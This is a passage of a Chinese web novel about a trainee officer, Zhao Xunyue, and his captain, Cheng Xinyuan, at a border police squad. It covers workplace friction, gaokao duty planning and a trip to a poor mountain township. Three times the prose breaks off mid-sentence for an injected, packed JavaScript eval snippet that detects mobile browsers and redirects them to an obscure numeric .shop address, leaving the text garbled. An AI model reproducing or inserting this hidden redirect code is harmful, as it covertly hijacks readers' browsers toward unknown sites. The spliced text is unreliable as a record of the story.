程辛苑笑得大声。这边两人边走边斗嘴,那边赵寻越把崔志和他奶奶送到了公交车站。一路上老太太不停叨念,赵寻越和崔志都没说话,看没人呼应,老太太也安静了。公交车来的时候,老太太先上车,崔志迈腿前又转身跟赵寻越说:“哥哥,咱们说好了。”他面对别人时孤单又强硬,跟赵寻越说这句话时,似乎还有些瑟缩。 他奶奶已经上车抢座,司机望着崔志喊“小孩上不上来”,公交车的发动机发出轰隆隆的声音,赵寻越身后还围着等车的着急的人群,他们大多是老人、小孩,还有一些中年妇女。 赵寻越站在车下,他从左城市区刚来临尘县两天,天上有浓重的雾,太阳离地面很远,他第一次感受到浓重的县城的气息,跟城市完全不一样的,平稳又踏实的感觉,一扫他来之前强忍憋闷的心愁。 昨天刚到边境中队的时候,他觉得自己像个外人,无数陌生人在暗中观察他、试探他,弄得他小心谨慎,精神紧张地注视每个人和每件事。可来到这里不到二十四个小时,他就救了一个男孩的命,与他共享了一个约定,也许赵寻越一个小小的鼓励,能让崔志现在的人生有一点变化,让崔志在几十年后和别人相差十万八千里。赵寻越心中淡淡的忧愁,轻尘似的随风飞走了①。他没有机会重过青春,但他希望救下的人,能过得比自己好。 “再不上来关门了啊!” 公交车师傅不耐烦地催促,崔志奶奶在车尾喊他的名字,崔志转身迈了一条腿上去,眼睛还巴巴望着,赵寻越露出一点微笑。 这是他来临尘县后第一次露出放松又坦然的表情,甚至都不能称之为微笑,只是一点微不可察的鼓励的表情说:“我答应你,快走吧,加油。” “嗯嗯!” 司机关了门,崔志在门里狠狠点头,赵寻越目送着公交车离开,慢慢走回了警队大院。他心里飘荡着与成长有关的念头,迎头就看到程辛苑在院里等他。 从警队大院外门走进去,院里一圈围绕着各种办公的房间,右边是警员宿舍,左边是食堂、公共浴室,正面是办公区域。程辛苑站在正中间,院子里只有他一个人,他手上拿着赵寻越的检讨,好整以暇地等着他。 9. 从今天起,我带你3 赵寻越站在大门口。地上有铁门轱辘摩擦的半圆形痕迹,他站在半圆形的外面,没有迈进去。似乎再往前多走一步,方才的好心情就会被打乱,他又要面对这里陌生的人和陌生的事。 程辛苑看赵寻越停下,停在一个防备和御敌的有效距离外,他忽然想起方才司迁业说的话。对,程辛苑就是想“教育教育”这个虽然只比他小四岁,但在他眼中就是个不成熟的小屁孩的、没毕业的警校生。 他故意向赵寻越走过来,对方看他一步步靠近,似乎着慌了问:“——怎么了?” 程辛苑停在赵寻越身前差一步的距离,停在大门的地面上划痕的另一边,好像他所站的位置、边境中队的大门以内,才真正代表临尘县,而赵寻越没有踏进来,意味着他心理上还不接受这里。程辛苑带点欠揍的表情,抬手晃晃那张检讨。 赵寻越以为检讨写的措辞不对,或者不对领导的口味。 赵寻越从孩子变成男人的这几年里,一直在警校度过,他好强、倔强、固执,见不得被人说他靠院长关系上位,处处都要靠自身实力说话。他不受红尘浊气所扰,因为他是幻化人形的警敏的狼,他只对猎物和对手感兴趣。在与程辛苑相处的第一天里,他有了一种非常切实的感觉,眼前这个程队长让他非常不舒服,而且双方都有一较高下的感觉。 他俩身高一般,程辛苑晃了那张纸几下,一下比一下靠近赵寻越,纸张抖落的声音让人心烦,最后一下,那纸的一角碰到赵寻越的嘴唇。程辛苑看到他眼中的惊悸,这才停止,故作轻松地说:“检讨里有错别字。” “……” 赵寻越咬着嘴唇,脸上升腾出气愤的红晕,终是没有爆发,因为程辛苑又说了一句:“不过没关系,不用改了哦。” 他故意在结尾加了个“哦”,似乎是安慰,又像是调戏。赵寻越正要开口反驳,程辛苑没拿检讨的那只手忽然捏住他胳膊,稍一用力把他拉进了地面划痕之内。 他们离得比方才还近,那张纸本来横在他俩之间,天空本是阴沉的,从赵寻越的视线看,那带字的检讨像一张幕帘,随着程辛苑的手放下,幕帘一点点下降,纸张上撒了一缕阳光,赵寻越近距离地看着程辛苑,比前一天的任何时刻都要更清晰地望着这张脸。 昨天第一眼见程辛苑,下雨、昏暗、局促,赵寻越觉得程辛苑长相偏小,甚至还有些狼狈。今天再仔细瞧他,发现他比昨晚初看时要成熟一些,他长了一双耐人寻味的眼睛,眼中有轻微的笑意,闪闪发光。 程辛苑翘着嘴角,身上有一种特别的气息,引起赵寻越奇怪的抵触感和沉腻感,这气息像临尘县大雨过后阴天的闷热,拢在赵寻越周身,涌进他鼻腔。赵寻越心里积聚的小火熄了一半,要说的话也忘了,露出一种倔强的表情,最后归于平静。 程辛苑看他眼中神色几经变化,最终平息了气焰。他想了一瞬,放弃玩笑的态度,终于问了正题: “你跟那个小孩说什么了。” 赵寻越思绪回转,想起他跟崔志的相处。他无非是安慰崔志、鼓励一下这个小孩,他懂那种年幼时没有母亲、父亲又不在身边的痛苦。那是一个孩子最需要爱的时候,那种寂寞、无助、茫然又绝望,的确很难熬,可赵寻越告诉崔志,只要熬过昨晚,今晚就不会那么难受,而明晚还会更好一点。 不过这些细节并不用告诉程辛苑。赵寻越挑了他和崔志谈话里的一句转述道: “我跟他说,希望他加油,从不公平的世界里,努力走出来。” 程辛苑听到笑了,他没想到这小子还有有点中二,有些励志。 “呵,挺好。” 他向赵寻越伸出一只手:“很高兴你来到临尘县,我代表边境中队欢迎你。” 赵寻越犹豫了一下,轻轻握住程辛苑的手,然后程辛苑带着初遇时能展现出的最大诚意说: “从今天起,我带你。” =============== 那天中午开饭前,司迁业把队里没出任务的警员召集起来,向大家介绍两位新来实习的警校生。赵寻越和卫琛平同时面对一群警察,神态都有几分局促,马全全很开心地带头鼓掌说:“太好了,以后我就不是最小的了。” 曹冲笑道:“人家赵寻越是研究生,小全全你还是最小的哈哈。” 他叫“小全全”的时候,卫琛平被这个称呼惊到了,有点无语地看看自己的带教警员,又看了看马全全。 吃完饭大家各自工作,卫琛平开始跟着曹冲实习,程辛苑这边除了出警,还有日常行政任务,所以他给赵寻越的命令是,有需要教你的会叫你,其它时间自行安排。 下午程辛苑和司迁业窝在办公室里,商量6月上旬的重点任务。6月上旬有两件大事,一件是每半年都会组织的下乡走基层活动,一件是临尘县高考执勤。 高考是全国人民都关注的大事,小小的临尘县也不例外。这里虽然教育资源相对落后,但对于每个考生来说,高考是渴求改变命运的学子的战场,一道计算题、一个英语单词、一篇作文,都可以助他们离开边境,寻求更广阔的人生。 高考执勤每年都会调动很多警力,疏导交通、巡逻驻守、维护考场周边秩序,只为给考生营造一个安全、安静的考试环境。程辛苑要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164147|196622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安排执勤人员名单、分配执勤任务,与交警、特警对接工作等等。 另外一件事下乡走基层,这是边境中队每半年都会进行的工作。内容包括走访乡间基层,发放物资,到乡里的学校开展扫黑除恶宣讲等等,由程辛苑、司迁业和曹冲轮流带队,6月份刚好赶上程辛苑下乡。 “我这次走基层和高考执勤的时间刚好重了。”程辛苑和司迁业坐在办公桌两边,手里拿着警队人名册,程辛苑道,“高考那几天你可能得受累点,有任何情况随时跟我报告。” “放心吧,交给我。”司迁业手上拿笔,在警队人名册上,把“程辛苑”的名字先画了一个圈,“那你带几个人走,准备带谁?” 每年高考都是重点安全保障期,程辛苑考虑给队里留下最多的人,想着带的人越少越好。这时司迁业笑说:“你要是去,赵寻越肯定得跟你了吧。” 他没等程辛苑回答,自顾在人名册最下方,手写字迹的两个名字旁边,把“赵寻越”的名字画了一个圈。 “哈,你倒是挺快。” “让赵寻越去挺好的。”司迁业道,“估计他一直在大城市生活,可能都没下过乡,没去过村里。” “干嘛,让城里小公子演‘变形记’呢?”程辛苑带点讽刺说,“我们这是下乡工作的,不是要把他再造为人的好吗。” “我不是那个意思……哎,我发现你真是处处‘针对’赵寻越。人家怎么就再造为人了?人家现在为人就很好,他救了崔志,还给他重塑了信心。” 说到崔志,程辛苑就想起赵寻越没有母亲这件事,调笑的心情收了收:“他跟我一起下乡,再带个谁呢?” 司迁业低下头,一个个看人名册上的字,忽听程辛苑道:“带马全全吧。” “你和小马再加赵寻越?”司迁业有点不放心,“你这是想……” 司迁业明白他的心思,程辛苑直接说:“对,高考这边非常重要,你们还是要留最精锐的力量。小马跟我下乡应该没什么问题,人选就这么定了。我来写下乡走基层活动方案,你大致列一个高考执勤方案,写完发我,我来改。” 程辛苑这个人总是这样,嘴上玩世不恭,不留情面,做事却冲在一线,处处替他人着想。尤其他当了队长以后,仿佛把整个临尘县的安危、所有边境中队警察的未来发展都系在自己身上。司迁业劝不动他,点点头:“那行。这次高考执勤,我绝不松懈,百分之二百尽力。” 他这是领了程辛苑的好意,向他表决心。程辛苑又说:“你看小马要是没出警,让他和赵寻越来找我,我跟他们简单说说。” “好。” 10. 新任务1 司迁业出了办公室,过了一会赵寻越和马全全敲门进来了,程辛苑让他们坐,然后开始布置工作。 “单独叫你们来呢,是下周咱们有新任务。” “是不是要参与高考执勤了?” 马全全先抢了话,程辛苑笑道:“哈,你这是想参与高考执勤呢,还是暗中给我提示,让我分配你去高考执勤啊?” 马全全有点不好意思,赵寻越挺意外,没想到普通队员跟队长说话这么随意。 马全全来队里时间最短,大多时候是曹冲带,曹冲的缺点是说话无所顾忌,对马全全这种稚嫩的新人来说,有时候太伤人。相比之下,程辛苑虽然是队长,但细微处见人品,他既能和曹冲互怼,也能关怀新人。 “我没那个意思队长,我都听你们的。” 马全全腼腆地笑了,程辛苑说:“高考执勤有机会肯定会让你参加的,这次咱们三个下乡走基层。” “……那是什么?”赵寻越插话问。 “你没经历过,小马大概知道点,给新人讲讲吧。” 马全全很喜欢跟程辛苑一起执行任务,开心地介绍以前了解的下乡走基层的情况,赵寻越越听越奇怪,打断他问:“我们还负责这种工作?” 马全全气势一向较弱,偏偏赵寻越气场比同龄人强大,他这么问,好像不屑于这种工作,不满于这种分配似的。马全全一时梗住,程辛苑接过话道:“这种工作怎么了?” 他食指敲了两下桌子,发出“砰砰”的闷响,赵寻越看着他。 “我们本来就是边境中队,辖区地理环境特殊,部分群众出行困难,入户核查、上门办|证、宣传演讲我们都做。你有意见,不想参加?” 又来了,赵寻越总觉得程辛苑有意针对他,他明明只问了一个问题,只是单纯的意外和好奇,硬是被程辛苑歪曲出了瞧不起基层工作的意思。赵寻越立刻说:“没有,我愿意参加。” 他接话很快,而且完全没有戾气,然而程辛苑还是回了一句:“别以为在警校就学到了全部,实际出任务多的是你不知道的重要工作。” 这句话不仅是怼赵寻越个人,连左城警察学院都捎带上了,再加上赵寻越的爸爸赵昶安是警察学院院长,赵寻越立马回说:“我没有……” “回去——好好准备。”程辛苑抬高了声调,显然要压过赵寻越,“六月初走,大概四五天,行程定了告诉你们。” “收到。” 马全全很高兴,他第一次参与下乡走基层,赵寻越没吭声,程辛苑抬起下巴瞧着他,那人才低声道:“收到。” 程辛苑还要说什么,他手机响了,来电提示上写着“程太太”,程辛苑莞尔一笑,对那二人说:“你们先出去吧。” 赵寻越和马全全起身往门口走,程辛苑已经接了电话,张口就说:“喂,大美女,怎么了突然给我打电话,想我啊?” 走出门口的赵寻越突然一惊,转身瞪大眼睛盯着他。程辛苑右手举着电话,眼睛回望他,本来眼角眉梢具是笑意,顿时不耐烦地左手一挥,做了个关门的手势。 赵寻越用力关上门,在原地冲马全全没头没脑地问:“他女朋友?” “啊?谁?” “他、他……” 赵寻越惊得说不出话来,程辛苑开口的语气油滑得让人震惊。这个所谓的队长,平时待赵寻越略有敌意,这个赵寻越可以忍,甚至也没想赶上温柔体贴的领导,但程辛苑张口打情骂俏、油嘴滑舌着实让人诧异。甚至赵寻越有点分不清,到底是警察对女人嬉皮笑脸让他惊诧,还是程辛苑对别人打情骂趣让他诧然。 “哦,你说队长?”马全全的反射弧终于追上来了,“不是,队长没有女朋友,那可能是他妈妈。” “妈妈?”赵寻越的惊异减缓了一些。 “可能是,他有两次跟阿姨打视频电话,让我们问好,也是直接叫‘大美女’,我听完也挺惊讶的哈哈。” “这……” 赵寻越想说这么叫也太没大没小了,马全全却转了话题:“据说程队长来了临尘县以后,再也没交过女朋友。” 这回轮到赵寻越语塞了,他不知道回什么。程辛苑一看就不像是好降服的人,临尘县这种边境小县城,估计很难有姑娘能拿下他吧。 这时马全全叹气道:“唉,我也好担心自己啊……哎,你有女朋友吗?” “没有。”赵寻越干脆地摇摇头。 “啊?”马全全纯属好奇捎带一问,听到这个回答挺意外,进而大胆地说,“你该不会……你该不会也跟我一样,没谈过恋爱吧?” 按说赵寻越跟马全全不熟,这种隐私问题他不会回答,但马全全的眼神很真诚,而且他自带天然无公害的可爱气场,赵寻越没忍心回绝,直接道:“嗯,没谈过。” 还轮不到马全全再来一轮惊讶,他们背后就传来程辛苑的一声:“——靠。” 程辛苑并不是故意偷听的。方才给他打电话的的确是他老妈,那两个年轻警察一出去,程辛苑的骚话就开始了:“没事,别惦记我啊大美女,你儿子还是跟以前一样帅、一样棒、一样优秀,一点没变。” “啧啧啧,行了,知道你干的好。小帅哥你也别担心我,你老妈我也是跟以前一样美、一样年轻、一样快乐。” “哈哈哈哈哈哈!” 程辛苑乐观随意的性格跟家庭出身有很大原因。他家不是富裕家庭,父母一辈子也没什么大起大落,不争强好胜、不贪图富贵,把快乐平安当成人生追求,所以程辛苑从小活得轻松,自由自在地追求理想,自由自在地扎根边境,自由自在地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164148|196622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……自由自在地喜欢男人。 他上大学交第一个男朋友时就果断出柜,父母当下是震惊的,在程辛苑的开导、讲解和正面引导下,渐渐不再干扰儿子,她妈妈还因此参加了左城的同性恋家长志愿者协会,每个季度被请到组织里,给其他绝望痛苦的父母们做鼓励工作。 程辛苑毕业后一直待在边境,刚开始父母趁着各种假期会来看望他,慢慢地老两口年纪大了,舟车劳顿吃不消,就变成程辛苑开车回左城市区看他们。但警察这个职业特殊,365天几乎天天待班,真正的“宇宙不重启,警察不休息”,国家公休假更是重点安全保障期,程辛苑只能赶着请年假的时候回家看望父母。 这次他请的年假是六月下旬,因为今年六月是老两口结婚纪念日30周年,这不六月还没到呢,程妈妈的电话就打来了。 “你请好假了吧,绝对保证没事,能回来是吧?” “请了请了,您就放心吧。”程辛苑一边打电话一边笑,“拍照的店我也联系好了,您就放心大胆的负责美丽,我来掏钱好不好。” 程辛苑说得兴奋,但门外总传来惊叫声。电话那头程妈妈又嫌弃又开心地说:“哎哟,都说了不用非拍什么照片,跟一群小年轻凑在一起的,还不是显我老啊。” 因为是整数结婚纪念日,程辛苑提议要给老爸老妈拍一套照片,重点是拍二老,捎带着把自己也加进去,就当拍全家福了。 “哪能老啊,您在我心中永远是世界上最美丽的……” 程辛苑的彩虹屁还没吹完,门外又传来说话声。他心想赵寻越和马全全怎么这么没有礼貌,知道他在接电话还在门外说西道东,当下不耐烦地“啧”了一声。 “怎么你忙呢?”程妈妈以为打扰儿子工作,立刻说,“我没事,就是提醒你请假。那你快忙吧快忙吧,晚上我再打。” 程妈妈快速挂了电话,程辛苑本来心情很好,被这一搅,更对赵寻越的偏见多了一分。他扔了手机,提高了气焰,准备开门训这两个小孩几句,谁知刚打开门就听见马全全那句“你该不会也跟我一样,没谈过恋爱吧”。 程辛苑一惊,心道这是什么奇妙的八卦时刻,刚好被自己撞上,又想赵寻越这样的长相和家世不可能没交过女朋友,正要侧耳去寻答案,就听赵寻越诚恳地说:“嗯,没谈过。” “——靠。” 程辛苑几乎是无法控制地骂了出来,那两人当即回头,这下好像显得程辛苑偷听他们谈话似的。他赶忙清清嗓子道:“干什么呢,我在屋里打电话,就听你们在门外没完没了地说,没点规矩啊。” 马全全抱歉地说“知道、知道”,拉着赵寻越走开。等程辛苑再关上门回到办公室,脑子里飘荡着赵寻越那句“没谈过”,心想城市里单纯成这样的小少爷还真是少见。 11. 新任务2 时间过得很快,转眼一个星期后,六月到来,程辛苑要带着赵寻越和马全全下乡走基层了。他们的行程一共五天,去程、回程各占一天,一天给贫困户入户发放物资,一天走进偏僻山村为孤寡老人办理户籍档案,一天在当地唯一的初中开展扫黑除恶宣讲。 三个人出发前一天下午就整理好物资,晚饭之前,程辛苑跟两人核对了一遍行程,又强调重点注意事项。 那天晚上,司迁业在食堂跟他们三人一起吃的饭。刚好卫琛平出警回来,他打完饭往程辛苑那桌看了一眼,要是没人招呼就打算自己坐了,结果爱好和平的老好人司副队长一眼看见他,招呼他过来坐。 一桌五个人,有的聊天,有的沉默。马全全知道司迁业全权负责高考执勤任务,忍不住羡慕,但又兢兢业业地跟程辛苑表忠心,说自己也非常愿意下乡。 程辛苑笑了,逗他说:“你怎么就这么愿意去考场啊,你还想混进去重考吗?” 没想到马全全十分认真地回答:“当然不是,我是想守护他们的梦想啊。” 桌上其他四个人都停下来看他,马全全继续说:“他们每个走上考场的学生,都怀着无限的梦想,我就是守护他们梦想的小小战士。我没有长矛和盾牌,但我有手枪和决心,我会站在考场外陪伴、保护他们每一个人,想想多燃啊。” 司迁业听完简直想摸摸小全全的脑袋,赵寻越默默听着没说话,卫琛平放下餐具望着一脸单纯的马全全,程辛苑心想,这边境中队是什么地方,怎么竟吸引些“无限大な梦のあとの”的中二少年呢。① 可谁不是从中二病走过来的呢?程辛苑听马全全这么说,其实也挺感慨的。每个人的出生不能选择,但可以通过知识改变命运,高考可能是他们这些平凡人家的小孩,人生中最后一个不看脸、不拼爹、靠实力公平竞争的战场。幸有高考不曾远离,让逐梦人不畏荆棘。 “哎,明年,明年一定让你去高考执勤。”程辛苑说。 “真的吗,真的吗队长?”马全全兴奋地问。 “这么多人给你作证呢,明年肯定让你去。” 程辛苑又吹嘘了几句之前参加高考执勤的“光荣事迹”,三个没参加过的年轻人都露出神往的表情。 吃完饭大家各自回去洗漱。来边境中队这么多天,赵寻越也没适应公共浴室,他之前在警校的宿舍是有独立卫生间的,在这里他总是晚上拖到特别晚才单独去浴室洗澡。 赵寻越生活上没有大毛病,也能吃苦,就是受不了跟一群男人一起洗澡,尤其他想到会在这里遇到程辛苑,心上就产生一种强烈的反应,像烦躁,又像一种隐隐的不安。后来他了解到程辛苑的宿舍是可以淋浴的,他从不来公共浴室,赵寻越这才放松一些。 跟他住一个屋的卫琛平渐渐发现他这个“毛病”,只当赵寻越优越惯了,受不了集体生活,心里对他还有几分嫌隙。后来慢慢发现赵寻越除了不爱说话,过于沉默,没有任何架子、或能挑得出来的明显缺点,渐渐对他放下成见。 那天卫琛平已经睡下,赵寻越又一个人抹黑去洗澡,洗完回来进屋的动静稍微大了点,卫琛平在床上翻了身道:“那个……” “吵醒你了?”赵寻越小声问。 “没……我睡不着。” 要是别人说这话,明显是打算开聊的前奏,但卫琛平说这话,赵寻越就摸不准意思了,或许他真的是在诉说“睡不着”的事实而已。赵寻越没接话,自己上了床,没想到卫琛平的声音又传来: “想到高考执勤,我有点紧张。” 他跟着曹冲实习,曹冲是这次执勤的主力,还给卫琛平单独安排了工作。 赵寻越安慰道:“我们下乡五天,回来肯定是赶不上高考了,你别紧张,跟着其他警察好好干就行。” “嗯,我本来不紧张,刚才被马全全一说,好像我轻视这份工作了。” 赵寻越想了想忽然问:“你跟曹冲实习了一段时间,感觉如何?” 算起来他们到临尘县也快半个月了,他们虽然同住一屋,但平时各有各的带教警察,相处的时间并不多,他们二人性子又都偏低沉,很少主动与对方交流。 “你说曹警官?他……”卫琛平顿了一下道,“他挺好的。” 这句话完全是一句废话,没有任何信息。赵寻越感受到卫琛平还是把他当一般同事,有点见外。赵寻越本身是慢热性格,不怪卫琛平不交心,随后那人也问:“带你的程队长怎么样?” 这下轮到赵寻越说“废话”了,他脑子里浮现出程辛苑一个大概的轮廓,就算有觉得程辛苑有缺点,也不会当着卫琛平说,于是自顾在黑暗中点了点头:“还行。” 赵寻越以为这毫无价值的信息“交换”可以到此终止了,不料卫琛平又来了一句:“嗯,看起来他像是挺会照顾人的。” “嗯?” 赵寻越敏感地察觉到这话里的言外之意,他们都是警校毕业,侦查意识很强。不管是有心还是无意,卫琛平这话里可以分析出两层意思。一是卫琛平觉得程辛苑为人不错,二是卫琛平可能羡慕程辛苑带赵寻越。赵寻越微微皱了眉头,他心里其实很想反问一句“真的吗”。 真的会有人觉得,程辛苑温柔且会照顾人吗? ================ 第二天一早,程辛苑等三人准备出发下乡。司迁业跟他们一起吃了早饭,然后三人各自去拿行李箱。他们下乡的车,后备箱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164149|196622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里装了好几个大盒子,里面是要给村民发的大葱、白菜、土豆等等蔬菜,还有棉被、枕头、毛巾等慰问品,还有准备给初中捐赠的书本和文具用品。 除了司迁业,曹冲也来送他们。程辛苑负责开车,因为山区时常信号不好,不能完全依赖手机导航,曹冲给他打印了地图,还告诉他几处危险的路段,半年前的上一次下乡就是曹冲带队的。 司迁业在车尾,帮赵寻越和马全全往后备箱里装行李。曹冲在车前站着,给程辛苑指地图:“这里你们千万别停下休息,这里泥地多。这几天虽然没雨,但你要小心,山区的水分比咱们这里多,我怕会滑坡。” “嗯,明白。”程辛苑认真应着。 赵寻越站在车尾,等着马全全在他前面放行李箱,看见程辛苑的侧影,那人拿笔在地图上勾画,曹冲一直在他身边说话。 赵寻越想到什么,问身前的马全全:“你开车技术怎么样?” “啊?” 马全全放好箱子回头,也想帮他放行李。赵寻越道:“不用,谢谢,我自己来。”然后冲车前的程辛苑点点头,对马全全说,“不能让他一直开吧。” 司迁业在旁边道:“你们放心,辛苑开车不错,而且到了乡里,对接人会来接你们的。” “其实我开车技术很好,我接触过赛车,可以跟他换着来。”赵寻越说。 “下乡的山路跟平时的马路不同,你们都是在城里开车,这种路还是交给老警察吧。放心,辛苑的技术和体力都可以,不用担心。” 赵寻越发现,程辛苑和司迁业年纪都没比他大多少,最“老”的程辛苑只比他大四岁,可这些人总爱自居“老人”,语气里透着一种把新人当小孩看的态度。 赵寻越没回答,他们装好行李往车前走,司迁业对程辛苑说:“都准备好了。” “行。” 程辛苑收了地图,曹冲对马全全开玩笑道:“小全全,哥这次不跟着你了,下乡辛苦,还总见到老弱病残,你可别心酸得掉眼泪。” 众人看向马全全,小马一下子害羞了,但还是对程辛苑说:“队长你放心,这次还有实习生呢,我肯定会做好表率作用的。” 大家的目光又转向赵寻越。实际上赵寻越比马全全还大一岁,不过小马为人和气,没架子,赵寻越也没用警校里那套跟“年纪大小”挂钩的自傲和敌视,临行前表现得还算谦逊。 倒是程辛苑破天荒说了句:“怎么表率啊,人家上来就在车技上赢过你了。” 程辛苑说得轻松,看起来也像跟曹冲在打趣马全全,可这话听进赵寻越耳朵里变了样子:原来刚才他们在车尾的谈话,程辛苑都听见了,而且程辛苑这是第一次,站在赵寻越这边。 12. 出发!下乡 1 赵寻越有些古怪地看着程辛苑,而“小全全”完全没听出多余的意思,反而附和地问赵寻越:“对哦对哦,你是怎么,你还会赛车呢?” “哟,你还会赛车,厉害啊!”曹冲吹了声口哨,一只胳膊搭在程辛苑的肩膀上,拍了他一下,指指赵寻越道,“待会让他来个山地飘逸,给年轻人个机会嘛~” “你g-u-n。”程辛苑“卸”了他那只胳膊,“上车上车,走得晚真得在黑夜里漂移了。” 下乡的路比较难开,虽然路不远,但陡峭、泥泞,一般开车要四个小时,再加上中途吃饭、休整,到了乡里怎么也得下午了。山里本来日落就早,如果出发晚,路上又耽误,很可能擦黑才能达到。 三个要走的人上了车,程辛苑开车,马全全坐副驾驶,赵寻越坐后排。程辛苑最后嘱咐了一句,让留下的两人“高考执勤加油”,然后就开车出了警队的院门。 马全全来边境中队一年,第一次长时间离队,开出临尘县城时还挺兴奋。赵寻越就安静很多,一直看着外面的路。程辛苑从后视镜里看过去,赵寻越偶尔会低下头在手机上敲字,或者向车窗外拍照,程辛苑为了验证自己的猜想问他:“你干嘛呢?” 赵寻越坐他后面,看不见程辛苑的表情,盯着前面座位的靠椅道:“没什么,随便拍点地标。也许……” 赵寻越说到这里顿住了,他本来想说“也许回来的时候我能替你开”,话到嘴边绕了一圈又改成:“也许回来我就认路了。” “哈。” 程辛苑小声笑了,赵寻越不明所以问:“怎么了?” 程辛苑没回复他,倒是对马全全说:“小马你记路了吗?要是让你从乡下开回来,你能吗?” 马全全惊得瞪大眼睛:“队长,我、我来了以后开车都是平路,我……” “哈哈哈。” 程辛苑笑得更大声,赵寻越这才反应过来,程辛苑听到他们在车尾的对话后,这种明白别人的善意却不直接表示的方法,跟赵寻越明明有善意却不直接表达的方式,似乎有异曲同工“之妙”。 “行了,逗你呢,不会真让你们开的。”程辛苑说。 “哦哦哦。” 马全全缓过来,也意识到什么,拿起手机开始拍路边的标志物。 “你怎么学的赛车?”三个人专心干着各自的事,程辛苑忽然问。 “我吗?”赵寻越道,“家里有个堂哥是搞赛车队的,我挺感兴趣,以前还考过赛车执照。” “你这么厉害呢?” 马全全扭着脖子看他,程辛苑也有些意外,抬眼瞥了下前视镜里的赵寻越。 “没。”赵寻越两只手做了一个打住的手势,“我就考了个最低级,读了研以后都没练过。” “为什么,读研很忙吗?”没读过研究生的马全全傻乎乎地问。 程辛苑对赵寻越读研这个问题也很感兴趣。众所周知,在警队体系里,读研的作用无非是为了将来能分配到省公安厅工作,或者到地方警校做老师。而在基层,特别是临尘县边境中队这种边缘的基层,能力和资历才是最大的资本。当然了,赵寻越能考上研究生,还成绩优秀,能力肯定不容置疑,所以他为何读研后还选择来基层工作,真是程辛苑心中一大疑团。 他和马全全都等着赵寻越的回答,那人有意避开,眼神不太自然,也不吭声。程辛苑发现他的难处,当马全全要再问时截住话题道:“你堂哥是专业的赛车手吗?玩赛车很赚钱吧,随便拿个名次都能赚好几千万。” 马全全被这个数字吓到,发出既惊奇又羡慕的感叹:“这么多钱?哇塞……能够临尘县老百姓吃一辈子了。” 车里一阵沉默,程辛苑无奈地笑了一下,三个人好像各怀心事,又好像怀的同一件心事,都没再说话。 车开了一上午,中午的时候三人下来找地方吃饭,简单休息了一下,下午比预定时间提前到了乡里。 这个乡叫马沟乡,人口多,耕地少,是个实打实的贫困地点,物资经常需要外面补给运输。边境中队经常来这里开展工作,乡里派了个搞宣传的负责接待,给他们三人安排了招待所住宿。 接待的人姓“卜”,年纪比程辛苑还大,程辛苑叫他“卜哥”。卜哥和他相熟,上来直接叫“小程”,还叫了很多次。赵寻越来了临尘县以后,第一次听见有人这么叫程辛苑,不知为何,自己嘴上也默默重复了一遍: “小程。” 他们在招待所办入住,程辛苑和卜哥正说话,没听见。马全全听见了,回头咧着嘴冲赵寻越笑。马全全这个单纯孩子都觉得可乐,赵寻越心里也觉得好笑,又轻声动嘴,冲着程辛苑叫了一次: “小程。” 办完入住,卜哥说晚上来请他们吃饭,表达乡里的感谢和心意。赵寻越一听有饭局,心里不太乐意。他以前也陪赵昶安出去跟人吃饭,他本身不是个热络的人,在饭局上就是个替酒的工具,又烦又别扭。 但程辛苑愉快地答应了。卜安奇走后,三个人提着行李上楼,招待所没有电梯,三人前前后后搬着行李,马全全问:“队长,咱们来乡下还要应付饭局啊?” 程辛苑知道他们是刚出社会的大学生,不喜欢这种事,他这个人就是坏心思多,故意吓马全全,反问道:“怎么了,你不愿意?” “不,我就……” 马全全没了反应,赵寻越接道:“这种地方老百姓都快吃不上饭了,你们这帮人还要喝酒宴请?” “哼哼哼。”程辛苑哼了三声,“谁说要喝酒了?八项规定听没听过,我们是执法人员,还能知法犯法?” 身后两人都梗住,他们想象中的饭局,就是吃喝灌酒、抽烟吹牛那种的。 到了他们住的楼层,程辛苑率先拉着行李往前走,一边走一边说:“是卜哥单独以朋友的身份请我们吃个便饭,你们两个刚走出社会的大学生,别把人想的那么‘社会’好吗。” “哦哦,那就好,我以为要应付一群乡镇领导呢。” 马全全这边缓和了,赵寻越道:“那家伙刚才说乡里的感谢和心意,听起来好像要组饭局,陪吃陪喝似的。” 三个人到了房间门口,程辛苑一人一间,他的房间在前面,马全全和赵寻越是双人间。 程辛苑转过身,直接盯着赵寻越道:“我从来到边境中队,第一次下乡,就是卜哥接待我们。卜哥一直是村里的宣传干部,联系外面做扶贫工作。他全名是卜安奇,你要是客气就叫一声卜老师, 